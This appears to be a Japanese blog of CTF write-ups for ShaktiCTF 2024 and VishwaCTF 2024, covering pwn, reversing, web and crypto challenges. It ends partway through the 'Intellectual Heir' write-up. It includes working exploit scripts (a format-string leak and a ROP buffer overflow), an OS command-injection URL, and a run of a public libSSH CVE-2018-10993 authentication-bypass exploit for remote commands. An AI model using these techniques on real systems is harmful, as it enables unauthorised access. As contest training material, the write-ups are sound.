Looking_Mirror (Pwn, Begginer)

Ghidraでデコンパイルする。

void main(void)

{
  __gid_t __rgid;
  FILE *__stream;
  long in_FS_OFFSET;
  char local_98 [64];
  char local_58 [72];
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  setvbuf(stdout,(char *)0x0,2,0);
  __rgid = getegid();
  setresgid(__rgid,__rgid,__rgid);
  puts("Ask the looking mirror for the secret to a masterful conquest!");
  puts("==============================================");
  puts("Hi, you are face to face with the immortal mirror now!");
  puts("Delve into its eternal wisdom and get the much gaurded secret.");
  puts(
      "Remember! it shall delight you with a reply, only if you are truly worthy. Otherwise it will  echo your queries back to you."
      );
  puts("\n");
  __stream = fopen("secret.txt","r");
  if (__stream == (FILE *)0x0) {
    puts("Warning: secret.txt not found! The secret is not available for you.");
  }
  else {
    fgets(local_58,0x40,__stream);
    fclose(__stream);
  }
  do {
    printf("\n> ");
    fgets(local_98,0x40,stdin);
    printf("Looking Mirror: ");
    printf(local_98);
  } while( true );
}

FSBでスタック上にあるフラグをリークする。20番目のインデックスからフラグがあるので、順番に取り出していく。

#!/usr/bin/env python3
from pwn import *

p = remote('65.0.128.220', 31878)

flag = ''
index = 20
while True:
    payload = '%' + str(index) + '$p'
    data = p.recvuntil(b'> ').decode()
    print(data + payload)
    p.sendline(payload.encode())
    data = p.recvline().decode()
    print(data)
    flag += int(data.split(' ')[-1], 16).to_bytes(8, 'little').decode()

    if '}' in flag:
        flag = flag.rstrip('\x00')
        break

    index += 1

print(flag)

実行結果は以下の通り。

[+] Opening connection to 65.0.128.220 on port 31878: Done
Ask the looking mirror for the secret to a masterful conquest!
==============================================
Hi, you are face to face with the immortal mirror now!
Delve into its eternal wisdom and get the much gaurded secret.
Remember! it shall delight you with a reply, only if you are truly worthy. Otherwise it will echo your queries back to you.



> %20$p
Looking Mirror: 0x746369746b616873


> %21$p
Looking Mirror: 0x3472676e30637b66


> %22$p
Looking Mirror: 0x5f796234625f3574


> %23$p
Looking Mirror: 0x333737346d723066


> %24$p
Looking Mirror: 0xa7d72

shaktictf{c0ngr4t5_b4by_f0rm4773r}

[*] Closed connection to 65.0.128.220 port 31878
shaktictf{c0ngr4t5_b4by_f0rm4773r}

Binary_Heist (Pwn, Easy)

$ checksec --file binary_heist 
[*] '/media/sf_Shared/binary_heist'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Ghidraでデコンパイルする。

undefined8 main(EVP_PKEY_CTX *param_1)

{
  init(param_1);
  puts("Agency: Welcome, Agent 007. Your mission is to infiltrate the enemy vault.");
  vault();
  puts("Agency: ABORT! Operation Binary Heist - Mission failed.");
  return 0;
}

void vault(void)

{
  puts("System: Enter your name for log: ");
  input();
  return;
}

void input(void)

{
  undefined local_18 [16];
  
  __isoc99_scanf(&DAT_00402008,local_18);
  puts("System: Log entry successful! You will be granted access on entering the correct passcodes."
      );
  return;
}

void infiltrate(long param_1,long param_2)

{
  undefined8 local_16;
  undefined4 local_e;
  undefined2 local_a;
  
  local_16 = 0x6c75617620746163;
  local_e = 0x78742e74;
  local_a = 0x74;
  if ((param_1 == 0x1337c0d31337c0d3) && (param_2 == -0x53123f2153123f22)) {
    puts("System: Operation Binary Heist - Top-Secret Flag:");
    system((char *)&local_16);
  }
  else {
    puts("WARNING: Intruder!!!. Authorities have been warned.");
  }
  return;
}

BOFでinfiltrate関数をコールする。その際引数の条件があるので、ROPで正しく指定するようにする。

$ ROPgadget --binary binary_heist --re "pop rdi"
Gadgets information
============================================================
0x0000000000401207 : pop rdi ; pop rsi ; ret

Unique gadgets found: 1
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('65.0.128.220', 31672)
else:
    p = process('./binary_heist')

elf = ELF('./binary_heist')

pop_rdi_rsi = 0x401207
infiltrate_addr = elf.symbols['infiltrate']

payload = b'A' * 24
payload += p64(pop_rdi_rsi)
payload += p64(0x1337c0d31337c0d3)
payload += p64(0xacedc0deacedc0de)
payload += p64(infiltrate_addr)

data = p.recvline().decode().rstrip()
print(data)
data = p.recvline().decode().rstrip()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)

for _ in range(2):
    data = p.recvline().decode().rstrip()
    print(data)

実行結果は以下の通り。

[+] Opening connection to 65.0.128.220 on port 31672: Done
[*] '/media/sf_Shared/binary_heist'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Agency: Welcome, Agent 007. Your mission is to infiltrate the enemy vault.
System: Enter your name for log:
b'AAAAAAAAAAAAAAAAAAAAAAAA\x07\x12@\x00\x00\x00\x00\x00\xd3\xc07\x13\xd3\xc07\x13\xde\xc0\xed\xac\xde\xc0\xed\xacC\x12@\x00\x00\x00\x00\x00'
System: Log entry successful! You will be granted access on entering the correct passcodes.
System: Operation Binary Heist - Top-Secret Flag:
shaktictf{C0ngr4t5!_n0w_s1ng_0_b3ll4_c140}
[*] Closed connection to 65.0.128.220 port 31672
shaktictf{C0ngr4t5!_n0w_s1ng_0_b3ll4_c140}

Warmup_rev (Reverse Engineering, Beginner)

Ghidraでデコンパイルする。

undefined8 main(undefined8 param_1,undefined8 param_2)

{
  int iVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  char acStack_e8 [104];
  undefined8 uStack_80;
  undefined4 local_6c;
  undefined8 local_68;
  char *local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined6 local_40;
  undefined2 uStack_3a;
  undefined6 uStack_38;
  undefined8 local_32;
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  local_6c = 100;
  local_68 = 99;
  local_60 = acStack_e8;
  printf("Enter the flag: ",param_2,3);
  fgets(local_60,100,stdin);
  sVar2 = strcspn(local_60,"\n");
  local_60[sVar2] = '\0';
  reverseString(local_60);
  local_58 = 0x316e64333364217d;
  local_50 = 0x346c6c336e67335f;
  local_48 = 0x34726d55705f6368;
  local_40 = 0x31355f345f77;
  uStack_3a = 0x735f;
  uStack_38 = 0x74667b746831;
  local_32 = 0x7368616b746963;
  iVar1 = strcmp(local_60,(char *)&local_58);
  if (iVar1 == 0) {
    puts("\nYou got it!!");
  }
  else {
    puts("Oops, that\'s not the correct flag");
  }
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    uStack_80 = 0x10137e;
    __stack_chk_fail();
  }
  return 0;
}

void reverseString(char *param_1)

{
  char cVar1;
  size_t sVar2;
  int local_14;
  int local_10;
  
  sVar2 = strlen(param_1);
  local_10 = (int)sVar2;
  for (local_14 = 0; local_10 = local_10 + -1, local_14 < local_10; local_14 = local_14 + 1) {
    cVar1 = param_1[local_14];
    param_1[local_14] = param_1[local_10];
    param_1[local_10] = cVar1;
  }
  return;
}

入力文字列を逆順にして比較しているので、元に戻す。

>>> (0x316e64333364217d).to_bytes(8, 'little')[::-1]
b'1nd33d!}'
>>> (0x346c6c336e67335f).to_bytes(8, 'little')[::-1]
b'4ll3ng3_'
>>> (0x34726d55705f6368).to_bytes(8, 'little')[::-1]
b'4rmUp_ch'
>>> (0x31355f345f77).to_bytes(6, 'little')[::-1]
b'15_4_w'
>>> (0x735f).to_bytes(2, 'little')[::-1]
b's_'
>>> (0x74667b746831).to_bytes(6, 'little')[::-1]
b'tf{th1'
>>> (0x7368616b746963).to_bytes(7, 'little')[::-1]
b'shaktic'
shaktictf{th1s_15_4_w4rmUp_ch4ll3ng3_1nd33d!}

Cyber_Kingdom (Reverse Engineering, Easy)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  uint uVar1;
  long in_FS_OFFSET;
  int local_16c;
  int local_168;
  int local_164;
  int local_160;
  uint auStack_158 [36];
  int local_c8 [36];
  byte local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  srand(0x7b);
  for (local_16c = 0; local_16c < 0x23; local_16c = local_16c + 1) {
    uVar1 = rand();
    auStack_158[local_16c] = uVar1 & 0xf;
  }
  puts("\n\t||| Welcome to my Cyber Kingdom |||");
  puts("||| I have a quick task for you if you don\'t mind |||");
  puts("|| Find the correct flag for me and prove yourself! ||\n");
  printf("Please enter the flag: ");
  fgets((char *)local_38,0x24,stdin);
  for (local_168 = 0; local_168 < 0x23; local_168 = local_168 + 1) {
    local_38[local_168] = local_38[local_168] ^ (byte)auStack_158[local_168];
  }
  local_c8[0] = 0x72;
  local_c8[1] = 0x6d;
  local_c8[2] = 0x60;
  local_c8[3] = 0x65;
  local_c8[4] = 0x73;
  local_c8[5] = 0x62;
  local_c8[6] = 0x68;
  local_c8[7] = 0x7a;
  local_c8[8] = 0x6c;
  local_c8[9] = 0x7a;
  local_c8[10] = 0x77;
  local_c8[11] = 100;
  local_c8[12] = 0x31;
  local_c8[13] = 0x54;
  local_c8[14] = 0x77;
  local_c8[15] = 0x31;
  local_c8[16] = 0x6c;
  local_c8[17] = 99;
  local_c8[18] = 0x59;
  local_c8[19] = 0x67;
  local_c8[20] = 0x62;
  local_c8[21] = 0x31;
  local_c8[22] = 0x6c;
  local_c8[23] = 0x58;
  local_c8[24] = 0x31;
  local_c8[25] = 0x7d;
  local_c8[26] = 0x53;
  local_c8[27] = 0x7e;
  local_c8[28] = 0x3b;
  local_c8[29] = 0x62;
  local_c8[30] = 0x69;
  local_c8[31] = 0x30;
  local_c8[32] = 0x6c;
  local_c8[33] = 0x31;
  local_c8[34] = 0x72;
  local_164 = 0;
  for (local_160 = 0; local_160 < 0x23; local_160 = local_160 + 1) {
    if (local_c8[local_160] == (int)(char)local_38[local_160]) {
      local_164 = local_164 + 1;
    }
  }
  if (local_164 == 0x23) {
    puts("\nYou got it!!");
  }
  else {
    puts("\nNope, that\'s not the right path");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

auStack_158とXORしてlocal_c8と同じになるものを入力する必要がある。乱数が使われているが、srandで決まった値が指定されているので、算出することができる。これを元に復号する。

#include <stdio.h>
#include <stdlib.h>

void main() {
    unsigned int rnd;
    char auStack[36];
    char flag[36] = {0};
    char key[36] = {0x72, 0x6d, 0x60, 0x65, 0x73, 0x62, 0x68, 0x7a, 0x6c, 0x7a,
        0x77, 100, 0x31, 0x54, 0x77, 0x31, 0x6c, 99, 0x59, 0x67, 0x62, 0x31,
        0x6c, 0x58, 0x31, 0x7d, 0x53, 0x7e, 0x3b, 0x62, 0x69, 0x30, 0x6c, 0x31,
        0x72};

    srand(0x7b);
    for (int i = 0; i < 0x23; i++) {
        rnd = rand();
        auStack[i] = rnd & 0xf;
    }

    for (int i = 0; i < 0x23; i++) {
        flag[i] = auStack[i] ^ key[i];
    }
    printf("%s\n", flag);
}
shaktictf{wh0_s4id_fl4g_1s_r4nd0m?}

Operation Ultra (Reverse Engineering, Easy)

スクリプトの処理の概要は以下の通り。

・unk_str = "U2hhZG93MjAyNA=="
・unk_str: unk_strをbase64デコードしたもの
・unk_str0: 入力文字列
・unk_str1 = func_1(unk_str0, unk_str)
 unk_str0とunk_str(繰り返し)とのXOR
・unk_str2 = func_2(unk_str1)
 4バイトごとに前半を結合したものと4バイトごとに後半を結合したものとの結合
・unk_str2とunk_arr0が一致していれば、正しいフラグ

逆算してフラグを求める。

#!/usr/bin/env python3
import base64

unk_arr0 = [32, 0, 27, 30, 84, 79, 86, 22, 97, 100, 63, 95, 60, 34, 1, 71, 0,
    15, 81, 68, 6, 4, 91, 40, 87, 0, 9, 59, 81, 83, 102, 21]

l = len(unk_arr0) // 2

unk_str1 = []
for i in range(0, l, 2):
    unk_str1.append(unk_arr0[i])
    unk_str1.append(unk_arr0[i + 1])
    unk_str1.append(unk_arr0[l + i])
    unk_str1.append(unk_arr0[l + i + 1])

unk_str = 'U2hhZG93MjAyNA=='
unk_str = base64.b64decode(unk_str.encode('ascii'))

flag = ''
for i in range(len(unk_str1)):
    flag += chr(unk_str1[i] ^ unk_str[i % len(unk_str)])
print(flag)
shaktictf{Ul7r4_STe4l7h_SUcc3s5}

Delicious (Web Exploitation, Beginner)

クッキーのcookieに以下が設定されている。

eyJhZG1pbiI6MH0%3D
$ echo eyJhZG1pbiI6MH0= | base64 -d                          
{"admin":0}

"admin"を1にする。

$ echo -n '{"admin":1}' | base64
eyJhZG1pbiI6MX0=

クッキーのcookieに以下を設定する。

eyJhZG1pbiI6MX0%3D

ページをリロードすると、フラグが表示された。

Okay here you go: shaktictf{heyo_beginnerr_you_got_the_flag}
shaktictf{heyo_beginnerr_you_got_the_flag}

Find the flag(Web Exploitation, Easy)

OSコマンドインジェクションができる。
https://ch25757158640.ch.eng.run/?test=a;lsにアクセスすると以下が表示された。

Dockerfile
__pycache__
flag.txt
main.py
templates

https://ch25757158640.ch.eng.run/?test=a;cat%20flag.txtにアクセスすると、フラグが表示された。

shaktictf{finally_you found_the_flag_hehehheh!}

Flag Expedition (Cryptography, Begginer)

国際信号旗になっているので、デコードする。

WASITTOOEASYTOFIND
shaktictf{was_it_too_easy_to_find}

eH lvl1 (Cryptography, Easy)

RSA暗号だが、eがわからない。hintと1バイトのXOR鍵でhの値が出力されている。CyberChefで以下のhの値を「From Hex」「XOR Brute Force」で復号してみる。

6f535e1b5e1b061b0c020f0b0b10134f535e1b4852555c575e1b59424f5e1b4f535a4f1b4c5a481b4354495e5f121b0112

復号結果は以下の通り。

Key = 3b: The e = 79400+(the single byte that was xored) :)

これでeは79400+0x3bであることがわかる。p, q, cがわかっているので、通常通り復号できる。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

ct = int(params[1].split(' ')[-1])
p = int(params[2].split(' ')[-1])
q = int(params[3].split(' ')[-1])

e = 79400 + 0x3b

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, p * q)
msg = long_to_bytes(m).decode()
print(msg)

復号結果は以下の通り。

Here is your reward 'vvrkxuqgi{r0i43m0r_f0_hu3_u3gtu3!!!}' You can ask 'Doraemon' to help you with this. Bye!!

Vigenere暗号と推測し、https://www.dcode.fr/vigenere-cipherで、鍵を'Doraemon'にして復号する。

shaktictf{d0r43m0n_t0_th3_r3scu3!!!}

eH lvl2 (Cryptography, Easy)

RSA暗号だが、eがわからない。hintの各文字とnでXORした値が出力されている。復号すると、以下の文字列になる。

The e = 46307 :)

これでeは46307であることがわかる。p, q, cがわかっているので、通常通り復号できる。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

h = eval(params[0].split(' = ')[-1])
ct = int(params[1].split(' ')[-1])
p = int(params[2].split(' ')[-1])
q = int(params[3].split(' ')[-1])

n = p * q

hint = ''.join([chr(i ^ n) for i in h])
print('[+] hint:', hint)

e = 46307

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, p * q)
flag = long_to_bytes(m).decode()
print('[*] flag:', flag)

復号結果は以下の通り。

[+] hint: The e = 46307 :)
[*] flag: Hope you had fun solving this challenge shaktictf{RSA_1s_fun_t0_d0_ri8?}
shaktictf{RSA_1s_fun_t0_d0_ri8?}

Participant Survey (Miscellaneous, Beginner)

アンケートに答えたら、フラグが表示された。

shaktictf{th4nk_y0u_f0r_submi77ing_surv3y}

Feedback (Miscellaneous, Begginer)

アンケートに答えたら、フラグが表示された。

shaktictf{7h4nk_y0u_f0r_p4rticip4ting_shaktiCTF_2024}

VishwaCTF 2024 Writeup

この大会は2024/3/1 19:30(JST)~2024/3/3 19:30(JST)に開催されました。
今回もチームで参戦。結果は3557点で1038チーム中98位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome to VishwaCTF'24 (Miscellaneous, Beginner)

問題にフラグが書いてあった。

VishwaCTF{arambhah sarvasya dharmasya}

Who am I? (Miscellaneous, Easy)

問題作成者の情報を見るために「@Aditya Gaikwad」のメッセージから見てみる。自己紹介にフラグが書いてあった。

VishwaCTF{1_4m_n0t_4n0nym0u5_4nym0r3}

Sandese Aate hai (Reverse Engineering, Medium)

$ ./Program
Original matrix:
V       i       s       h       w       a
d       2       3       y       3       C
n       2       k       0       v       T
4       4       }       v       1       F
_       m       _       h       c       {
y       3       2       d       n       4
Encrypted:
V       h       q       h       w       a
d       2       3       y       3       C
l       2       o       0       p       S
4       4       }       v       1       N
[       m       Y       h       k       {
y       3       2       d       g       4
Encrypted:
86      104     113     104     119     97
100     50      51      121     51      67
108     50      111     48      112     83
52      52      125     118     49      78
91      109     89      104     107     123
121     51      50      100     103     52

回転するようにフラグが出力される。

VishwaCTF{4nd23y_4nd23y3v1ch_m42k0v}

Save The City (Web, Easy)

$ nc 13.234.11.113 32471 -v
ec2-13-234-11-113.ap-south-1.compute.amazonaws.com [13.234.11.113] 32471 (?) open
SSH-2.0-libssh_0.8.1

Bye Bye

$ nmap -sC -sV -Pn -p 32471 13.234.11.113
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-01 23:27 JST
Nmap scan report for ec2-13-234-11-113.ap-south-1.compute.amazonaws.com (13.234.11.113)
Host is up (0.14s latency).

PORT      STATE SERVICE VERSION
32471/tcp open  ssh     libssh 0.8.1 (protocol 2.0)
| ssh-hostkey: 
|_  2048 34f332c6e850236a6723bd58a388e3a6 (RSA)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.09 seconds

libssh 0.8.1のexploitを調べると、以下のPoCが見つかる。

https://gist.github.com/mgeeky/a7271536b1d815acfb8060fd8b65bd5d

これを利用してRCEを実行する。

$ python3 cve-2018-10993.py -p 32471 -c ls 13.234.11.113

    :: CVE-2018-10993 libSSH authentication bypass exploit.
    Tries to attack vulnerable libSSH libraries by accessing SSH server without prior authentication.
    Mariusz B. / mgeeky '18, <mb@binary-offensive.com>
    v0.1
    
bin
boot
dev
etc
home
lib
lib64
location.txt
media
mnt
opt
proc
root
run
sbin
srv
ssh_server_fork.patch
sys
tmp
usr
var

$ python3 cve-2018-10993.py -p 32471 -c "cat location.txt" 13.234.11.113

    :: CVE-2018-10993 libSSH authentication bypass exploit.
    Tries to attack vulnerable libSSH libraries by accessing SSH server without prior authentication.
    Mariusz B. / mgeeky '18, <mb@binary-offensive.com>
    v0.1
    
elrow-club-pune
VishwaCTF{elrow-club-pune}

Trip To Us (Web, Easy)

$ gobuster dir -u https://ch661012148630.ch.eng.run/ -w /usr/share/wordlists/dirb/common.txt -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://ch661012148630.ch.eng.run/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 290]
/.htaccess            (Status: 403) [Size: 290]
/.hta                 (Status: 403) [Size: 290]
/backups              (Status: 301) [Size: 340] [--> http://ch661012148630.ch.eng.run/backups/]
/db                   (Status: 301) [Size: 335] [--> http://ch661012148630.ch.eng.run/db/]
/Images               (Status: 301) [Size: 339] [--> http://ch661012148630.ch.eng.run/Images/]
/server-status        (Status: 403) [Size: 290]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

https://ch661012148630.ch.eng.run/db/sqlファイルが2つあるので、ダウンロードする。users.sqlには以下が書いてある。

INSERT INTO `users` (`id`, `user_name`, `password`, `name`) VALUES
(1, 'admin', 'unbre@k@BLE_24', 'admin');

Click Hereをクリックすると、https://ch661012148630.ch.eng.run/Error.phpに遷移し、以下のメッセージが表示された。

YOU ARE NOT AN IITAIN , GO BACK!!!!!!!

HTMLソースを見ると、以下のように書いてある。

<img src="./Images/GoBack.webp" alt="Change User agent to 'IITIAN'">

BurpでInterceptし、User-Agentを"IITIAN"にしてアクセスしてみる。

https://ch661012148630.ch.eng.run/auth-iit-user.phpに遷移し、ログイン画面が表示された。先ほどのadminユーザの情報でログインしてみると、フラグが表示された。

VishwaCTF{y0u_g0t_th3_7r1p_t0_u5}

They Are Coming (Web, Easy)

https://ch471012155763.ch.eng.run/robots.txtにアクセスすると、以下のように書いてある。

# https://www.robotstxt.org/robotstxt.html
User-agent: *
Disallow: /admin
L3NlY3JldC1sb2NhdGlvbg==
Decryption key: th1s_1s_n0t_t5e_f1a9

https://ch471012155763.ch.eng.run/adminにアクセスすると、以下のように表示される。

Unexpected Application Error!
404 Not Found
$ echo L3NlY3JldC1sb2NhdGlvbg== | base64 -d    
/secret-location

https://ch471012155763.ch.eng.run/secret-locationにアクセスすると、以下のように表示される。

A Courrpt AI Agent and Its Army of 128 Aesthetic Looking Robots Are Heading Towards Local Vault of the City of Dawn!

読み込んでいる/static/js/main.25b1321e.jsに関係ありそうなコードがある。

          , yt = ()=>{
            localStorage.setItem("userRole", "admin"),
            localStorage.setItem("F1ag", "Open Your Eyes!"),
            localStorage.setItem("lastLogin", "2023-01-01T12:00:00Z"),
            localStorage.setItem("theme", "dark"),
            localStorage.setItem("language", "en_US"),
            localStorage.setItem("isLoggedIn", "true"),
            localStorage.setItem("unreadMessages", "5"),
            localStorage.setItem("preferredCurrency", "USD");
            return localStorage.setItem("DivID", "205"),
            localStorage.setItem("Flag", "Gkul0oJKhNZ1E8nxwnMY8Ljn1KNEW9G9l+w243EQt0M4si+fhPQdxoaKkHVTGjmA"),
            localStorage.setItem("AppVer", "1.0"),
            (0,
            vt.jsx)(vt.Fragment, {
                children: (0,
                vt.jsxs)("div", {
                    className: "hint-main",
                    children: [(0,
                    vt.jsx)("h1", {
                        className: "hint",
                        children: "A Courrpt AI Agent and Its Army of 128 Aesthetic Looking Robots Are Heading Towards Local Vault of the City of Dawn!"
                    }), (0,
                    vt.jsx)("p", {
                        className: "hint1",
                        style: {
                            display: "none"
                        },
                        children: "I have done 128 cbc tests"
                    })]
                })
            })
        }

この情報から以下のことが推測できる。

・フラグを暗号化し、base64エンコードしたものが、"Gkul0oJKhNZ1E8nxwnMY8Ljn1KNEW9G9l+w243EQt0M4si+fhPQdxoaKkHVTGjmA"
・暗号化はAES CBC モード128ビット
・暗号鍵は"th1s_1s_n0t_t5e_f1a9"を元にしたもの

いろいろ試したところ、以下で復号できた。

・暗号鍵:"th1s_1s_n0t_t5e_f1a9"の先頭16バイト
・IV:"\x00" * 16
#!/usr/bin/env python3
from base64 import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

enc_flag = b'Gkul0oJKhNZ1E8nxwnMY8Ljn1KNEW9G9l+w243EQt0M4si+fhPQdxoaKkHVTGjmA'
enc_flag = b64decode(enc_flag)

key = b'th1s_1s_n0t_t5e_f1a9'[:16]
iv = b'\x00' * 16

cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(enc_flag), 16).decode()
print(flag)
VishwaCTF{g0_Su88m1t_1t_Qu14kl7}

Happy Valentine's Day (Cryptography, Easy)

pngファイルの先頭8バイトをkeyをしてXORしている。keyはわかっているので、それを使って画像を復号する。

#!/usr/bin/env python3
from itertools import cycle

def xor(a, b):
    return [i ^ j for i, j in zip(a, cycle(b))]

key = list(b'\x89PNG\x0d\x0a\x1a\x0a')

with open('enc.txt', 'rb') as f:
    enc = f.read()

dec = bytearray(xor(enc, key))

with open('flag.png', 'wb') as f:
    f.write(dec)


復号した画像にフラグが書いてあった。

VishwaCTF{h3ad3r5_f0r_w1nn3r5}

Poly Fun (Cryptography, Medium)

transform関数の中を整理する。

・最初の分岐では、1~100000のnumberについてどの値も13になる。
・次の分岐では、1~6のnum1, 1~6のnum2についてどの値も以下の条件を満たす。
 int(number / 10) == num1 and number % 10 == num2
・次の分岐では、generate_random_number()で生成したnumberについてどの値も1089になる。
・次の分岐では場合によりどちらかの処理を行う。
 ただiが8以上の場合はnumの値は小数になるので、iが7以下の場合の処理を行っていると推測する。

以上のことからtransform関数では数値は変わらないことになる。polyの2次関数のみで数値が変わるので、8ビットの文字に対する総当たりで辞書を作成し、元の鍵を求める。AES暗号と推測して、encoded_flag.txtの内容をbase64エンコードしたものをこの鍵で復号する。

#!/usr/bin/env python3
import numpy as np
from base64 import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

for num in range(1, 100000):
    org = num
    tmp_n = num
    tmp_n *= 2
    tmp_n += 15
    tmp_n *= 3
    tmp_n += 33
    tmp_n /= 6
    tmp_n -= org
    assert tmp_n == 13

for num1 in range(1, 7):
    for num2 in range(1, 7):
        tmp_n = num1 * 2
        tmp_n += 5
        tmp_n *= 5
        tmp_n += num2
        tmp_n -= 25
        assert int(tmp_n / 10) == num1 and tmp_n % 10 == num2

nums = []
for num in range(100, 1000):
    first_digit = num // 100
    last_digit = num % 10
    if abs(first_digit - last_digit) > 1:
        nums.append(num)

for num in nums:
    num1 = int(''.join(sorted(str(num), reverse=True)))
    num2 = int(''.join(sorted(str(num))))
    diff = abs(num1 - num2)
    rev_diff = int(str(diff)[::-1])
    tmp_n = diff + rev_diff
    assert tmp_n == 1089

nums = []
for num in range(1000, 10000):
    if num % 1111 != 0:
        nums.append(num)

for num in nums:
    i = 0
    tmp_n = num
    while tmp_n != 6174:
        digits = [int(d) for d in str(tmp_n)]
        digits.sort()
        smallest = int(''.join(map(str, digits)))
        digits.reverse()
        largest = int(''.join(map(str, digits)))
        tmp_n = largest - smallest
        i += 1
        if i == 8:
            break

for num in range(256):
    org = num
    tmp_n = num
    tmp_n *= 2
    tmp_n += 7
    tmp_n += 5
    tmp_n -= 12
    tmp_n -= org
    tmp_n += 4
    tmp_n *= 2
    tmp_n -= 8
    tmp_n -= org
    assert tmp_n == num

polyc = [4, 3, 7]
poly = np.poly1d(polyc)

dic = {}
for num in range(256):
    dic[int(poly(num))] = num

with open('encoded_key.txt', 'r', encoding='utf_8') as f:
    enc_key = f.read()

key = ''
for ck in enc_key:
    key += chr(dic[ord(ck)])
print('[+] key:', key)

with open('encoded_flag.txt', 'r') as f:
    enc_flag = f.read()

enc_flag = b64decode(enc_flag)

cipher = AES.new(key.encode(), AES.MODE_ECB)
flag = unpad(cipher.decrypt(enc_flag), 16).decode()
print('[*] flag:', flag)

実行結果は以下の通り。

[+] key: 12345678910111213141516171819202
[*] flag: VishwaCTF{s33_1_t0ld_y0u_1t_w45_345y}
VishwaCTF{s33_1_t0ld_y0u_1t_w45_345y}

Lets smother the King! (Cryptography, Medium)

Malbolgeというesolangと推測し、https://malbolge.doleczek.pl/で実行すると、以下のデータが出力される。

White- Ke1,Qe5,Rc1,Rh1,Ne6,a2,b3,d2,f2,h2 Black- Ka8,Qh3,Rg8,Rh8,Bg7,a7,b7,e4,g2,g6,h7

https://chess-bot.com/online_calculator/next_best_move.htmlで上記を配置する。配置データは以下の通り。

k5rr/pp4bp/4N1pq/4Q3/4p3/1P6/P2P1PpP/2R1K2R w KQ

Calculate positionで動きを確認する。その際チェックは"+"、駒取りは"x"、チェックメイトは"#"の記号を入れるようにする。

1.[White] Nc7+
2.[Black] Kb8
3.[White] Na6+
4.[Black] Ka8
5.[White] Qb8+
6.[Black] Rxb8
7.[White] Nc7#
VishwaCTF{Nc7+_Kb8_Na6+_Ka8_Qb8+_Rxb8_Nc7#}

Teyvat Tales (Cryptography, Medium)

script.jsを見れば、4つの入力に何を入力すればよいかわかる。

1: enigma m3
2: ukw c
3: rotor1 i p m rotor2 iv a o rotor3 vi i n
4: vi sh wa ct fx

現れる文字列は以下の通り。

CYNIPJ_RE_LSKR-YAZN_MBSJ

Enigma machineの復号の問題で、4はプラグボードのパラメータになっている。https://cryptii.com/pipes/enigma-machineで復号する。

復号結果は以下の通り。

beware_of_tone-deaf_bard
VishwaCTF{beware_of_tone-deaf_bard}

Intellectual Heir (Cryptography, Hard)

Pythonコードが入っているが、コードの処理は正確ではないので、推測する必要がある。
まずmsgを算出する必要がありそう。関係するコードは以下のようになっている。

f = (? * ?) #cant remember what goes in the question mark
e = #what is usually used

encrypted = pow(msg, e, f)

fの値はわからない。eはおそらく65537と推測できる。encryptedの値がfile.txtに出力されていると思われる。
またfに値に結びつきそうなコードは以下のようになっている。

#bamm!! protection for primes
number = 
bin = bin(number)[2:]

#bamm!! bamm!! double protection for primes
bin_arr = np.array(list(bin), dtype=int)
result = np.sin(bin_arr)
result = np.cos(bin_arr)
np.savetxt("file1", result)
np.savetxt("file2", result)

numberは不明だが、binは2進数文字列になっている。それのsin、cosの配列があり、file1.txtとfile2.txtに出力されている。
file1.txtの冒頭の値を確認してみる。

5.403023058681397650e-01
1.000000000000000000e+00
5.403023058681397650e-01
1.000000000000000000e+00
5.403023058681397650e-01
1.000000000000000000e+00
1.000000000000000000e+00
5.403023058681397650e-01

file2.txtの冒頭の値を確認してみる。

8.414709848078965049e-01
0.000000000000000000e+00
0.000000000000000000e+00
0.000000000000000000e+00
0.000000000000000000e+00
8.414709848078965049e-01
0.000000000000000000e+00
0.000000000000000000e+00
>>> import numpy as np
>>> bin = '101101'
>>> bin_arr = np.array(list(bin), dtype=int)
>>> bin_arr
array([1, 0, 1, 1, 0, 1])
>>> result = np.sin(bin_arr)
>>> result
array([0.84147098, 0.        , 0.84147098, 0.84147098, 0.        ,
       0.84147098])
>>> result = np.cos(bin_arr)
>>> result
array([0.54030231, 1.        , 0.54030231, 0.54030231, 1.        ,
       0.54030231])

この結果からfile1とfile2は逆になっているが、対応付けはできる。
file1.txtについては、以下のように対応づけられる。

・5.403023058681397650e-01 → "1"
・1.000000000000000000e+00 → "0"

